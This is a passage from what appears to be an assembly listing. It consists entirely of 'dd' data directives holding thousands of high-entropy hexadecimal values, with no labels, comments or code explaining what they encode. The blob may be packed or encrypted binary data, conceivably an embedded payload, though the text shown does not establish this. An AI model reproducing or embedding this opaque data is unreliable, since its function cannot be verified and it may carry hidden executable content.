0EC4DE96Bh, 24460CBh, 0F80CEFEh dd 722CA6F6h, 228F22E5h, 0B49087A4h, 0D19357E0h, 9A12AD09h dd 0E4C18454h, 0B1549093h, 1E90650Eh, 0E821098Bh, 8DA0885Dh dd 55324F10h, 8BAC4328h, 59F451CFh, 0A6C05668h, 81D85D4Fh dd 24680884h, 148A2B6Dh, 891D07E9h, 2726C9CEh, 3BCABB20h dd 591F923Ch, 4256D2F7h, 94B91A5Ah, 0AA3E933Ah, 223B5DC8h dd 0E2C14061h, 3402004h, 0A1B9DAF0h, 73EE08h, 0D7F626B7h dd 80EE7C0h, 6776C780h dd 0F47A4DF7h, 0B6B7208h, 6B3B3C8Bh, 0C3CAB860h, 14AA7564h dd 0E8F30105h, 2E290840h, 300C5DEBh, 89525C98h, 41FAE25Ch dd 0EC894122h, 78E1A8D4h, 49284E9Bh, 8E226E0Fh, 431EF21Ah dd 68474800h, 1FC10146h, 97792D58h, 0D36A048Ah, 6EB9963Dh dd 59993373h, 0C39D6105h, 1C94582h, 30FE40B1h, 21494BDEh dd 0C7DB9002h, 0E5AE4401h, 0D79C5D58h, 8133F6EDh, 0D06B531h dd 0A8F287h, 685250E5h, 0E0145676h, 1BF5A7Ch, 57F28102h dd 34600F1Eh, 0E47BD84Fh, 900B5F93h, 4D9F741h, 0DF8D78D7h dd 1E16743h, 0A705ADB6h, 0EC09FB37h, 26C15819h, 0CC56D1B8h dd 68C9D2C3h, 486866DDh, 5D10C338h, 5CAB42E6h, 61927E86h dd 0C74C01FEh, 0DC179F68h, 6AB76943h, 0CF80E8FEh, 8706CF59h dd 8D5C36E4h, 6C94E075h, 87A495ABh, 0F12C936Eh, 32296E41h dd 55C2D021h, 0C864D428h, 52632CD3h, 8762E783h, 804BC60Ch dd 680BBE4h, 5312FD71h, 25055E81h, 5E3FE967h, 70BCDC4h dd 0CA91F85Bh, 0C81892Dh, 5E93F131h, 14B49793h, 0F3022FDFh dd 0DCBAE9A5h, 61A6153h, 0B5BE6BBDh, 0FD9063C4h, 0A1F2295Dh dd 229CD7D0h, 25FB6643h, 9901470Bh, 0E905F87Ah, 339E746Ch dd 0D36926BAh, 0C3D302F0h, 1FC1C545h, 558E1355h, 0C2C554F1h dd 0E9079158h, 2161356Bh, 9F2641DBh, 0EB4B8141h, 4DA72E46h dd 0DB44CB21h, 2C5D080Dh, 0E7225B71h, 487D6B10h, 0F41E2093h dd 12B5B25Eh, 955BDD29h, 0CDD55F58h, 477AC77Dh, 0DDE176C5h dd 0D0535E32h, 0A3270920h, 310E30C1h, 0EB2C68C8h, 586F4302h dd 0C18E12C7h, 10DEC9B7h, 0D742CAD5h, 25693B82h, 93C15105h dd 0CB47054Ah, 6D9592E5h, 16421DD1h, 5D522882h, 0A0824D5Ah dd 3566DC67h, 2DC56804h, 0C8D03EA5h, 4C90B1E7h, 0F5604919h dd 557BBA66h, 0BD3CBBE8h, 0D7A450EFh, 109117Dh, 43C4E9D3h dd 1ACFF891h, 0F6345076h, 799382DAh, 0B1023DEAh, 22CEC24Ch dd 0C0D8F78Dh, 0F35036Dh, 25AC23Eh, 9088E6EAh, 8B267283h dd 0E9E1BB34h, 35253FA0h, 9350C08h, 70B56639h, 34838DA7h dd 0E92E9002h, 269C5971h, 8C4D7583h, 6E1A91Dh, 4939B093h dd 0C04B14F1h, 2564B1D9h, 50E6036h, 732D34A1h, 0E9807A41h dd 4622F721h, 82045258h, 884B543Dh, 0F6255C4Ch, 35429E9h dd 0C4096E4Fh, 4B5939A4h, 0EFF56FEh, 4B7DCAD2h, 0C6A458E6h dd 68C9808Dh, 1791455Dh, 0C618BEA6h, 113B838h, 504C9446h dd 285F0E68h, 6C069283h, 9A28D039h, 505C4C0Ah, 8C935189h dd 9884C9DFh, 4661F053h, 73381A1h, 102BAC0h, 4A3C3877h dd 0C9EAD19Fh, 879B6E97h, 7B62409h, 400102F7h, 3D8E4FCh dd 1A5196C0h, 74EFD631h, 9AFBC88Bh, 288E6813h, 0CCAA3481h dd 0ADDEE10h, 1755C0Fh, 8A81CC6h, 58616D96h, 36E3E6C1h dd 0C03FF20h, 0FC0E81Fh, 66585609h, 0ACE918A9h, 0D92926C5h dd 0F1815B01h, 2D120757h, 0EC87F8DBh, 0CC584828h, 0BDF7592Ch dd 0CC0991A7h, 5541AAB2h, 681A1204h, 0F5C38373h, 0E62D21B7h dd 89489745h, 0CA011E48h, 1DC58395h, 1DD2C531h, 355F8683h dd 0C289Eh, 0E18107F4h, 91053CE6h, 4C7E6833h, 2BFDDCCh dd 0A395839Dh, 0E6A5F931h, 3773045Fh, 0EEC102D1h, 0E6126006h dd 32C63F2Eh, 0DB49FF4Ch, 5ED3A7Fh, 0F79BE879h, 5C214621h dd 330135EDh, 65483214h, 45885C0Dh, 8A1204D0h, 0D9D8015Ah dd 48AA219Bh, 510E528Eh, 0A4278C68h, 2E825905h, 80D5A122h dd 0EECC7BCEh, 6D2B7h, 0E95AF008h, 3ED2086Eh, 3DF03499h dd 0E6D5C4E3h, 0A3FFC008h, 7F071B52h, 391E240Dh, 79CF3551h dd 325019E0h, 0AD3B14F7h, 0EF81DA68h, 3260B12h, 8BDF2B0Bh dd 2B2BECh, 2BF15CC7h, 4D41F68Ah, 14C84024h, 3E7330EDh dd 32AB1297h, 7971C454h, 0F24D549Eh, 1E311370h, 0EFC77E3Ch dd 9BEEA98Bh, 1FD342ABh, 394114Dh, 0D828EF2Ch, 95B4A404h dd 2174911Ch, 0B2520E21h, 0E9DAF601h, 18E38B6h, 4E672D5Ah dd 0E1420663h, 81078F05h, 23A51317h, 823F0160h, 694BB988h dd 0D684860h, 0BB6F1E54h, 5BDE66A8h, 78207BB0h, 0C076A22Fh dd 933F586h, 13BE843h, 0FBE72182h, 5092DD2h, 330B1Ch, 51341FFFh dd 5D2D5A62h, 4BB140ADh, 0F001687Fh, 42070551h, 0BD01F60Dh dd 3AC50FEBh, 0EF775D95h, 80E6D003h, 509F4AF6h, 596853C9h dd 0E92DA1B2h, 90C097Eh, 0D2020041h, 12B4AB11h, 0F59CE31h dd 0A76907A1h, 28738562h, 0C52E30A7h, 425AB90Ah, 0D1A4C821h dd 2097E159h, 2881D629h, 68055F68h, 83B15166h, 59B3CBF9h dd 530E160Fh, 760CF288h, 0F42D4F28h, 56871C22h, 646B0105h dd 30F8010Dh, 4017A0A6h, 13560481h, 53411C01h, 0E2FE056Dh dd 76BFC428h, 4F58B452h, 0B70E2EA6h, 4A3ACD0Bh, 38F09ADh dd 0B86FB60Bh, 60BCE977h, 600D2461h, 7D02FA1Ah, 691F2935h dd 11FA4052h, 0F5767110h, 10E2DAh, 0BE565808h, 0AF7F1F42h dd 0D0E64731h, 170D560h, 1665EEF9h, 7D0C8E6Dh, 104E102h dd 24405EF3h, 585507D3h, 7F945259h, 6F4CB905h, 0A2B3C212h dd 810169F0h, 0E61B60E7h, 0EE20F74Eh, 0B25060C8h, 0E2309CB4h dd 8058661Dh, 0EAC0351Ch, 5AD520DFh, 97CD51FEh, 24683A24h dd 0C9CF3C4Ch, 2C522B91h, 3368C21Fh, 7514905Ch, 0BEAB4C18h dd 227BA113h, 0C46A83E8h, 298CF00h, 39904E72h, 97C5ED54h dd 82A03449h, 85B37003h, 3D02EBA9h, 717A0668h, 8802886Dh dd 0FC259425h, 83F7586Dh, 14FA7281h, 13C87987h, 0E7884701h dd 1FAE9E66h, 0C1CC5656h, 62215C2Bh, 0C217126Bh, 305564CCh dd 6CCAE589h, 391A2A35h, 71394AE9h, 0CF010C9Ah, 64995933h dd 59E97B6Ch, 5B0E032Bh, 8020B551h, 0E5C0BDEDh, 50C0261h dd 0F5ECC5FEh, 0CE8E0B6h, 5DF36859h, 554B25E5h, 0DF640745h dd 2CD9344h, 1EED645Ah, 36546805h, 18AA598h, 4F6DC978h dd 818DF781h, 5FFE010Fh, 436CBF57h, 9F51129Ah, 9674FF42h dd 6519B436h, 6AAD2128h, 0C72901C1h, 0A90965DCh, 0E0320CCBh dd 4FF2D29h, 0CA7F19E9h, 10C3412Ah, 99E9CB4Bh, 0C105729Ch dd 0F98307E8h, 79478F03h, 3116E3h, 281FC543h, 0E8895E7Bh dd 688442B4h, 17A27118h, 50595400h, 406BBD55h, 5D2F5165h dd 4099860Eh, 0CC2DA1AEh, 5250267Fh, 705143Fh, 0BD125F25h dd 5C12625Ah, 8553DDE9h, 1B2C0A1Fh, 0EE39B1A5h, 184D250Dh dd 3F5DE9B5h, 58BB0500h, 0DFC0AA71h, 2440EFCBh, 10F859F7h dd 0F22D1E5Eh, 8A7FFF0Dh, 9274D4F0h, 0B54906Eh, 9DDF1330h dd 0A22C1945h, 0F8215BE1h, 0BC00BDCh, 6F3E840Fh, 1C774BA2h dd 15E55924h, 95636BE9h, 5B540E7Bh, 60772368h, 260F7F0Bh dd 2088ACC4h, 0B689C013h, 53FE774Bh, 58049698h, 8903B325h dd 245C84D1h, 0FB5090BFh, 1B3B16EBh, 303C8605h, 2012027Eh dd 4302297Eh, 49015E08h, 0DF3C8148h, 2201141h, 0A3C0502Ch dd 0D6CEA458h, 0E3B765F1h, 5DE90C9Fh, 58F6AC63h, 0D950A5D6h dd 0FC4B81B3h, 0CBC015BFh, 742A5EC3h, 4DDFF67Bh, 50025185h dd 99B2C2B4h, 9D4BBB61h, 7BBDD106h, 10DDE2E0h, 4B17C1A0h dd 0C019B058h, 632AE9D0h, 0BFEEFF43h, 643C2981h, 863BC89Eh dd 8BD45914h, 48A6241h, 0E94328D4h, 281C3AC9h, 0F00EC62Ch dd 2668904h, 84CE46h, 7E0DD0F7h, 45794403h, 82388505h dd 0B92D7808h, 29E98485h, 12D98A7Ch, 2A08342Ch, 22E98602h dd 5010A56h dd 2CC67623h, 0B4F0D829h, 1DB95Bh, 38785F7Eh, 0C8728950h dd 5958C614h, 44E982E0h, 0F1F5666Dh, 10147DDh, 78C1FDEEh dd 0AD6607AFh, 26925253h, 0E30368F8h, 223B007h, 0CC7785BFh dd 1153DF21h, 0FB4CF700h, 4889919Fh, 796DCF9h, 0B534B381h dd 2B3CC303h, 293DA2D0h, 27F70FA0h, 0FF5A763Ah, 80807260h dd 3FE35CBh, 7EBC0C3h, 0F3D1D3F6h, 0E9DBD4ABh, 284EAE35h dd 375A6FCAh, 4C25C82Ah, 0FBE69216h, 50BB0A17h, 8738BA52h dd 0E9058A69h, 30AD8FD9h, 4A5F6856h, 0DD533841h, 0E0555B26h dd 0F1F65D45h, 20464E11h, 0FACC202Ch, 485EDD80h, 9F45AC3Ah dd 718902E1h, 6ED7255h, 683A6F29h, 8DFEAD51h, 0BA160095h dd 3542AEDh, 0D517B938h, 4E02C7ABh, 1AD24D77h, 81425001h dd 0A8605A08h, 6976BC59h, 3162A758h, 0CA74E906h, 9C8829D3h dd 9EE926BDh, 4E46894Fh, 57A3BA80h, 0D9FB50EDh, 16DF2228h dd 68091848h, 5352E25Fh, 657EA86Dh, 0F25A6354h, 7826055Ch dd 0E00C1303h, 30E90D22h, 0EA5B7CE5h, 0F758692Bh, 0F53B1003h dd 85DCAB51h, 26609262h, 3E56FE52h, 332D9076h, 3128CFD3h dd 6336E35h, 0BE885B9Dh, 7BB18E4h, 31D05898h, 0B65E42B5h dd 35EEF1C7h, 2BE419D5h, 73836549h, 0A5C58151h, 0C58000BDh dd 94EBE0D6h, 7B2D1EBDh, 2FCB1F25h, 17CC10AEh, 95821255h dd 87249121h, 4DA2E661h, 454B968h, 58C26029h, 8B68D905h dd 81641BA5h, 0A99A91F0h, 1B25B54h, 3076F24Ch, 0E68119F1h dd 0CC751EF9h, 8420D65Dh, 99D675E7h, 4D269681h, 545F6F82h dd 0F210C93Ch, 1B95226Fh, 78D5CAA8h, 54012CEDh, 8C99272Bh dd 9FD3815Ah, 1204373h, 2C2A0EBDh, 7E23CF0Ah, 0E93F9780h dd 0A8C0BCF0h, 425DEA89h, 8E224C1h, 0E6B1000Fh, 0D62172ECh dd 4A9BFEA0h, 7624F96h, 2616652Eh, 1759037Ch, 0CEE04A3Ch dd 933B29AAh, 60EE0148h, 4655C231h, 90A0E80h, 73E97C12h dd 0A681DF92h, 0C88411B1h, 5AF50420h, 0E8734147h, 8260FF74h dd 1D286D9Ch, 67BDC006h, 4280065Ah, 1E59CA01h, 0E6226E0Eh dd 0AC2C03Ch, 0F840B777h, 5D7D09F2h, 0BF70D00Fh, 0EC50294Eh dd 603441B4h, 689959ECh, 9E9F14A7h, 12ED2C27h, 0BE368835h dd 482D7018h, 0BC267242h, 8449CFE2h, 54520821h, 8B0E2D5Ah dd 0D3D46141h, 0A9F872B2h, 5C583458h, 5BB785A0h, 0E91774CAh dd 0F81B540Ch, 0E3464303h, 5CE1514Dh, 0C4466C77h, 50A50B12h dd 0F1C10860h, 9A768FECh, 2D9A31C5h, 273558Dh, 4D3A445Eh dd 0B716D066h, 7FB20948h, 87596F48h, 50641295h, 4094A344h dd 0D2A7E8DBh, 39940159h, 30D3AD4Ch, 16C0448Eh, 96020FBBh dd 0E3810E49h, 2D0B1CFBh, 43089203h, 1988F3D0h, 0C021BD28h dd 996C240Bh, 8D11630Fh, 8E7094C9h, 5ABF0057h, 0B9067625h dd 980407AEh, 0E9F93149h, 931F7384h, 0E459D10Fh, 16842958h dd 4185FBF0h, 17E632F5h, 0C489C672h, 0D2E54BE0h, 0EFF92210h dd 6A699E59h, 229AC202h, 0EBBB43A5h, 0A928DAE9h, 0B2A903FFh dd 24D0C2F0h, 3C02B14Ah, 0C583A166h, 4B676160h, 8202247Bh dd 717B284Ch, 5EFC86A2h, 43C075D7h, 7CF025C1h, 756B270Fh dd 6E47EA68h, 421E2125h, 9A65868Dh, 0D5F71237h, 48120053h dd 8943681Bh, 3B09F3A1h, 89BC1C5Fh, 0E265E9E1h, 6301F1E1h dd 0ED7FDFA3h, 501A0C50h, 5EB9D1A0h, 8047DE3Ch, 0B2255FF8h dd 0EA7BA045h, 842D1849h, 77CC7E6Eh, 0E24A3A2Ch, 0E9410402h dd 16FDD030h, 5E93ED80h, 3E4CCC08h, 94A08F16h, 78C9BA8Bh dd 4D7E795Ah, 5CDB1C0Ch, 0D500EB94h, 0BB51A81Ah, 0FEFC07B2h dd 29B0E917h, 98BC45D1h, 0D110D8F4h, 424A26EAh, 6650327h dd 0CAB0018Dh, 0C4094D9Fh, 7048E954h, 0EE44BE88h, 79882E70h dd 0E4D6F78Eh, 660C4217h, 0B5F208EAh, 2139314Fh, 0E9AF302Eh dd 0F4A8F4FBh, 9D4C6603h, 0C7235C1Eh, 1E6047C7h, 9066CC6Eh dd 131694C4h, 7CBEB65Bh, 1ECF5C41h, 0D75F5413h, 6369847Fh dd 0C488342h, 19214E0Ch, 5E03CE9Fh, 91762CCAh, 56D25CC2h dd 0B9BC8C1Bh, 0F0482828h, 0CE51B276h, 255B9294h, 0D3E8F8B2h dd 52E89BEBh, 62016125h, 5D080511h, 0C41C6A09h, 345B4AFAh dd 6989821Ah, 3CB0BB00h, 4406605Fh, 28AA508Ch, 0F80B8C90h dd 8778F070h, 0DA00E498h, 0AEB2153h, 752B685Dh, 5FB8804Dh dd 1338F1Eh, 7C31C35Fh, 0B4DFEBC1h, 6080DFC4h, 4888F1EAh dd 70094005h, 3005203Ah, 0F1DF5284h, 1444AD5Eh, 26F2D7E5h dd 73BCDA2Dh, 4E31EFCDh, 0C3B8612Ah, 2516058h, 6E271BA5h dd 7C482C1h, 7EE468F3h, 0E9128AE2h, 666440EBh, 4053CB81h dd 48C30AC3h, 8A68D00Ch, 58779819h, 1680FC1Fh, 816ADF1Ch dd 55D7C604h, 50004F2Ah, 317CEB17h, 0AFE9F53Eh, 65981A3Eh dd 3CECA7B0h, 5A53C081h, 4E9110EBh, 0C0D0F600h, 0C8FE05E8h dd 8B952FF8h, 82B20273h, 0A4A27937h, 0BCB6A04Bh, 0E7687215h dd 87727B39h, 84CB8EC3h, 0EE019078h, 61F1E65Dh, 3083185Eh dd 32166B3Fh, 1186830Dh, 3ECCD20h, 0E976F15Fh, 5A3B4B6Dh dd 9F022CACh, 0B83492BDh, 488710C8h, 0B8B081D1h, 210B317Fh dd 2109E922h, 6E7C121h, 92A53E1h, 5187E3h, 0B32FBEh, 409A05A0h dd 20F2B8ADh, 43A0CF46h, 3B241141h, 558392Dh, 0A2CE4F3h dd 2DF8011Bh, 0B05F1307h, 5D000819h, 0D8F734EAh, 7E413E35h dd 250D0116h, 4853095Ah, 2DC143C1h, 0DE805BC0h, 80D0895Ah dd 589E578Ah, 0ED2C5161h, 0A1D9C90Fh, 0DD0FE941h, 84682481h dd 0E96AF110h, 59F551D5h, 0A2183EFEh, 7FF28008h, 0EE04F69h dd 4420B848h, 8D350D4Ah, 10284514h, 3BC200D5h, 0F58175E1h dd 880604F9h, 81E8295Fh, 6CF62F10h, 575984A8h, 296883C0h dd 89BCB10Bh, 0F0002AB9h, 6C98139h, 983A1D32h, 5817EA05h dd 0AF48B152h, 8A667389h, 5CE3139h, 0BEABE9F1h, 0D2DEB4A9h dd 3052F15Dh, 740306Dh, 0B539F856h, 0FDEB03A0h, 0C84F45FAh dd 287BCC2h, 7749E7E9h, 4705EC29h, 28D05919h, 0B200E4DAh dd 0CA06FE12h, 0D4F6E286h, 9CA8FE08h, 9010253Fh, 537DE089h dd 81C3422Eh, 7099C4B4h, 0BC23B4F8h, 2E6360B0h, 9B98221Dh dd 0F36BB307h, 865C119h, 79CFB601h, 0EA8521B0h, 87CDC3E3h dd 1B0D3029h, 24DC148Ah, 121F0B42h, 10725629h, 27824A2Eh dd 0E08AC14Eh, 945ED04Ch, 52452D34h, 0CF103D2Ch, 41636802h dd 6D793BC8h, 0E5C14D40h, 0DAB0C106h, 2BE2B308h, 1715AF04h dd 5EF50106h, 54761B04h, 15945E11h, 543313F0h, 0EED38EEAh dd 82606992h, 0A3A00CD9h, 123D6812h, 0E9C527B2h, 2959B0D4h dd 0D64AF077h, 0BB53E100h, 1E343CBh, 5248B807h, 433137D4h dd 0E9C040F4h, 1B92F30Bh, 3861E20Ah, 0C201ACC9h, 6CD37B85h dd 5920C80h, 0CE97C74h, 0F6133CBCh, 4BED79F0h, 2009C91Ah dd 1BE0205h, 342BD459h, 0A034842Eh, 14A65812h, 9C25A520h dd 81A2702h, 0A0C97062h, 0BD174166h, 0E09B53B5h, 1F195420h dd 0C0C0D9F6h, 36B65207h, 5A1EF128h, 0AA96CE30h, 0D9F7C5C0h dd 0F817941h, 0D78EB3FDh, 0C1BD34DDh, 2F3B2F44h, 0BB24D65Eh dd 41461227h, 2A6259B8h, 0DEBB8204h, 0DB34911Bh, 51C4042Ch dd 0FF95CE31h, 2666CB33h, 770113CEh, 68555238h, 917071D1h dd 0E5811E5Dh, 35894799h, 603875E9h, 564532F9h, 41946C4Fh dd 0DC833682h, 0A803F2Eh, 52ADC27h, 9F7C7233h, 0C60DAFEh dd 35D7B91Eh dd 290A1615h, 597C004Ch, 8130428Fh, 90F06D0h, 0C011E958h dd 4BCA8099h, 0CD278193h, 515B006Ch, 3A6000B9h, 0E1817D1Ch dd 42E24B9Ah, 0A299E92Ah, 0B465EFEAh, 9407BDE2h, 0BAF216C9h dd 0EAE67622h, 4BE60099h, 0C50141D4h, 882CAF1h, 5F698EE9h dd 171DD85Bh, 10998C82h, 756B2B6h, 0F2D49B05h, 5BAEA7BBh dd 5FFB82A2h, 119F00ECh, 473BAC8h, 4044FC40h, 68005677h dd 79BC7CADh, 9E6815Eh, 3A2067B9h, 0D8C45084h, 0D22D68E7h dd 5A95195Fh, 0BE52F620h, 0B56CEBDEh, 4549AB9Ch, 8EEF9627h dd 0E65310FBh, 9FD3F71Eh, 8FB18DFh, 460C3597h, 0A415D828h dd 5BD9B1Dh, 0F65E5456h, 0CE50D7BBh, 25838843h, 9FF26729h dd 0A026CA20h, 122E8E79h, 24296A42h, 8722541h, 4A3E7B59h dd 8E50C928h, 9D7C6AA2h, 6E15505Bh, 12296BD8h, 5FFCB016h dd 0B1518CA8h, 0C880793Ch, 2FDA386Bh, 8CF30C8h, 411AB746h dd 3FDA8161h, 0D619DD36h, 59F2A142h, 13FBEC14h, 0CFFE0AC0h dd 72FCC780h, 0C05B0F30h, 0CC6B06E4h, 0ECA0810Fh, 0E9E38810h dd 0CA12034Bh, 83A3341h, 57A83BAh, 5F30FDC1h, 79FC86Ah dd 0E1A45917h, 81334525h, 0E97DB522h, 9B896166h, 57005350h dd 44157E08h, 807A9A9Dh, 0C772FD5Ch, 0D6F7145Ah, 0E915FAC1h dd 501E81D9h, 0A0DBA668h, 42C599EFh, 0B32A7925h, 0E2D22D02h dd 929882DDh, 515001EDh, 0F29D21B5h, 3459F249h, 5840CB11h dd 28900604h, 0AB252C8h, 665AD006h, 4FEC5359h, 0CAF5250Ch dd 0C55C29C2h, 0E43E700Bh, 6BD09924h, 0E9427479h, 27897E0Eh dd 0AF90274Ch, 0A27175Fh, 0D9739382h, 5B37ECD9h, 716C09B7h dd 354AE9FFh, 3891324Ch, 3F36E967h, 0CCC558F1h, 0B3E90E27h dd 5CB843AEh, 0F181E701h, 7CDA727Fh, 7D68E0DBh, 2D1A7544h dd 86C4D882h, 729A14FAh, 40478F0Ch, 12EF0681h, 6062F16Eh dd 6A186866h, 791F4A6h, 150E004Bh, 0BF7D4230h, 0CFEF9B22h dd 13E96AC0h, 14B9ABC0h, 5634866h, 803C981h, 0F48CA1E5h dd 7B7C0F06h, 26C3CF07h, 0E7607143h, 4C161C2Bh, 200F2B4Fh dd 0E9A43257h, 582E847h, 5AD72958h, 518173A2h, 6D3F27E9h dd 20C40029h, 89534010h, 0A84892CBh, 4CF16899h, 0C3D3BF11h dd 3D1628B1h, 0F10093B7h, 2C7E045Ah, 0ED76FC6Fh, 88010023h dd 336851D7h, 9E8C2C52h, 0C152F8DFh, 3BA81805h, 0CF53304Fh dd 0F1FECBCFh, 34A34F74h, 9B085A87h, 271BC6E9h, 0BE2B762h dd 769B7860h, 11FBA13h, 0E7CC8DB1h, 0E1672C4Ch, 56D9179Bh dd 5EA807C2h, 0A12934A5h, 42080518h, 56CCE9F2h, 5DEF83C8h dd 5FFD310Fh, 1C009721h, 5A7B62C9h, 71495C61h, 0F2695850h dd 2F79585Fh, 1C05AC3Fh, 10CF0122h, 3C4808CFh, 3B4DDD58h dd 0E0C8E912h, 0C20FBADFh, 497A1171h, 0EB5587Fh, 28B9EA80h dd 1E7904F6h, 0F5C71E1Ah, 0F1955265h, 0D258C7ACh, 0CCD07489h dd 8993F999h, 0D7F24DD7h, 88145EEAh, 0DAB02F74h, 497E3E7h dd 49599E2Dh, 403CBC53h, 68FBE907h, 66550232h, 0E16EB2BDh dd 0BE79E8D8h, 6526A613h, 6818A0F9h, 0C7413827h, 0BE02CC8h dd 0FD7911C4h, 4BB3963Ch, 0C3D9E929h, 7BE6F238h, 5C3A7826h dd 35E50E6Fh, 0DAF301EFh, 293EFE68h, 0D1A4563Fh, 8142C110h dd 578CC253h, 6A8433C6h, 80CF7A40h, 8B8EB3Ah, 158FA0Dh dd 8001CD3h, 0D7B040E9h, 0C0BAF364h, 73C36857h, 5F4F1D1Fh dd 3D0CC947h, 929833D9h, 0D201BAEBh, 501BA837h, 131616C5h dd 664441F6h, 0C1870ABEh, 0B7D90D54h, 9F5F29F4h, 82279314h dd 222AB2CDh, 0EC69E1AEh, 0B09758h, 181CE5Ah, 0C6A4443Ah dd 545305AFh, 0E28C9E5Eh, 3FF83340h, 0B70E2204h, 5BEB28EAh dd 0F561E605h, 5865B22Bh, 4F8B764Ah, 0F2579B0Dh, 85992FDAh dd 44E81F09h, 0BE5624DBh, 88F76416h, 809737C8h, 41BC0555h dd 4F297A39h, 0AD0CC01Dh, 469ED831h, 0F880EC52h, 0D42E0E83h dd 14DE292Ah, 582E08EEh, 64ACB5D6h, 1013FD25h, 54B2DB6h dd 0C822F422h, 7700F05Dh, 0CA811246h, 487D351Eh, 3B129B78h dd 30D8C859h, 8069E87Ah, 0FB99EE8Dh, 76633DE1h, 8B448769h dd 520389B7h, 0AEF729AEh, 6A219F97h, 0A6B8B5B9h, 33ECC083h dd 0AC5F009Ah, 0B1A10184h, 51E5002Bh, 136EEC9h, 0B4E9EF3Ah dd 0CD809F60h, 3E262B05h, 0E694225Fh, 0B2A7A747h, 5552671Bh dd 0A0644C09h, 0CD55C56h, 0ECA3DBF3h, 3E2C0278h, 8A68436h dd 509DF61Ch, 8C57FC5Fh, 5A876C85h, 0E5B65221h, 0A91985ECh dd 1F1CEB7h, 0EBDE81CEh, 0E9E0A009h, 4B7F92E7h, 15A58A5Bh dd 16BDAB68h, 0F94A26E9h, 5A95EBD3h, 0B538589Dh, 0E91368B8h dd 937D82F9h, 0E0C31DC1h, 407DF407h, 4181E2E0h, 0B4CB7CD8h dd 0CE5AA500h, 13745858h, 516124C6h, 0DC74F797h, 4AF2FE55h dd 135EB317h, 64B36F12h, 4515C905h, 0A787F826h, 0A844F760h dd 57510A2Bh, 80BE4EE9h, 803F03BEh, 0F00C0926h, 9854055Eh dd 5829768h, 434620C6h, 2066DEA1h, 6455A2D8h, 68F86054h dd 54194726h, 4E94BBC5h, 74409AAh, 329F5D58h, 0F0345E5Bh dd 45BE25E9h, 85C0FE0Bh, 3CC1E4Dh, 0DA585B54h, 905858FDh dd 3CB602EAh, 6C54FEE9h, 0C1681463h, 0D2DFA023h, 32BD095Fh dd 0FBC368A9h, 5100B98Fh, 58CB2189h, 0E9505204h, 0BA00DA43h dd 6E39314Ch, 0C2014Ch, 252F2D05h, 0BD52E966h, 12540809h dd 9A2EE978h, 6F28408Ah, 0B53CD190h, 10F7487Eh, 127373Bh dd 5842116Ah, 3D5308A7h, 0C36140E6h, 6F32C5FBh, 0D9D334AEh dd 4C9AA7AFh, 30819809h, 65D55EE9h, 46EE5342h, 53BF00FCh dd 0B8108641h, 5E1D40F0h, 4B185648h, 0CF70AB18h, 841E1750h dd 0F7000707h, 8077257Fh, 2055FFBh, 66C030BDh, 0E6069785h dd 0EBBED135h, 0F1817B2Ch, 6D5CA944h, 0C7E9AB86h, 0E8959DCAh dd 3F4B4C69h, 0F6301B12h, 667D05B9h, 0D467A0Fh, 4CAEC070h dd 6E0C1h, 0A6FEFC2Dh, 5679E9FFh, 20ABAB7h, 4B34E8DEh dd 0A4B4B904h, 0C0424E6Bh, 0D2F60680h, 4F5CF280h, 0BDE90A9Dh dd 5387A9D8h, 1EBF1EB3h, 6AF1BBD3h, 4C0CD942h, 0FD6E4DCAh dd 5BDF3104h, 0A2F2C147h, 57046E1Fh, 0CA121179h, 4F0642F9h dd 4809AA35h, 204AD264h, 149557AFh, 690E96BCh, 9E9E521h dd 1F613A0Eh, 800558B8h, 0BC4E8216h, 386F6B48h, 0A728278h dd 0E5580FE9h, 95943DA4h, 9F071C48h, 0B236D060h, 92FECEFAh dd 5C21B453h, 41B3957h, 38ADE95Fh, 0C60127CDh, 8773C349h dd 27EB900h, 0C83144AFh, 2A3EC5FFh, 716EEF8Dh, 24F2E9E8h dd 88B35BC4h, 0A566678Ah, 2108568h, 260BE344h, 1D65DA08h dd 0EAC00FF6h, 9FD21A16h, 0D0A57883h, 0BC3DB39h, 0D6C454Ch dd 0A241239Dh, 5803C908h, 345BCF64h, 0A35A1086h, 918BDFE2h dd 0A2E31B9h, 8D53054Fh, 3214EFC3h, 0B579F27h, 0CA015644h dd 0A696A8F2h, 65FA347Eh, 9A69FB8Bh, 5697D853h, 0B0EF73A4h dd 16F706E3h, 0C5F3214h, 5635090Ch, 7B7F80Ah, 129610Dh dd 0FEBE5FBh, 0CB4C5F08h, 7F0BA812h, 0D05931A6h, 1EE9152Ch dd 4879C8BCh, 0CE3F6AEEh, 8A5E3D1Fh, 24B3BBAh, 66F03002h dd 68203CD1h, 8F9DC3F8h, 0F468E3E1h, 54C8A446h, 87AA599Ah dd 3FF6532Ch, 1C68009h, 12B7E406h, 19E98913h, 93B92140h dd 0F4067C14h, 9D2C52BFh, 0F9130421h, 6BDEF945h, 1B21B1F4h dd 34631967h, 525CCD12h, 518111B2h, 345A8BE9h, 794B3B03h dd 4035D2CCh, 0CD5B8029h dd 201E9D80h, 0F4594AEEh, 280B3707h, 524CE9F0h, 928EECFCh dd 0DD873E3Bh, 0CF592293h, 535D247Dh, 0BA297C24h, 8AA48169h dd 88406776h, 9277E9EEh, 0F439793h, 0B8F42FC3h, 0F554C4B4h dd 351A05E3h, 0A47195FEh, 60005E69h, 130AE952h, 0C289ACB3h dd 0D262566Fh, 0DE20315Dh, 225B5193h, 4774445Bh, 80770400h dd 0E728F5C3h, 9DDCCFF0h, 7CD2C412h, 54C91B96h, 0A2D17AD7h dd 0D518A225h, 0B3110940h, 0C1716415h, 8108EF00h, 8A1038C7h dd 1D8C9055h, 0AC8C0FF5h, 0BE568073h, 6A1E510Dh, 200BE6FEh dd 7363C5Ah, 0B2D0A657h, 4BC0E913h, 5C9BDC52h, 0BC642F9Ah dd 0A9C6FBCBh, 0D98781B1h, 0F6F1CFDh, 0B1C0593Ch, 45C18098h dd 3E076F94h, 5A67F130h, 0C65E1B3h, 0D1F6FF1Ch, 6AB0BE0Ah dd 991DB028h, 0FE826A98h, 912DCFDCh, 0F4D22C26h, 0ACBE609Ah dd 6C0BDB1Bh, 6906E6C1h, 77284E44h, 13D3AC5Ah, 94852AC6h dd 0E916B9BDh, 58834274h, 0E492D831h, 0C3857754h, 0E7ED3F68h dd 0BF691B26h, 0D73CE8B1h, 0D8F59753h, 0F94C6DF2h, 0CE3CCA1Eh dd 0EAC04C2Ch, 6714657Ah, 3D14524Bh, 53320BBh, 8228FDB9h dd 0F751B009h, 0F381D301h, 211745B8h, 945BD9C4h, 1668043Eh dd 0E94A8D56h, 0D811A4DFh, 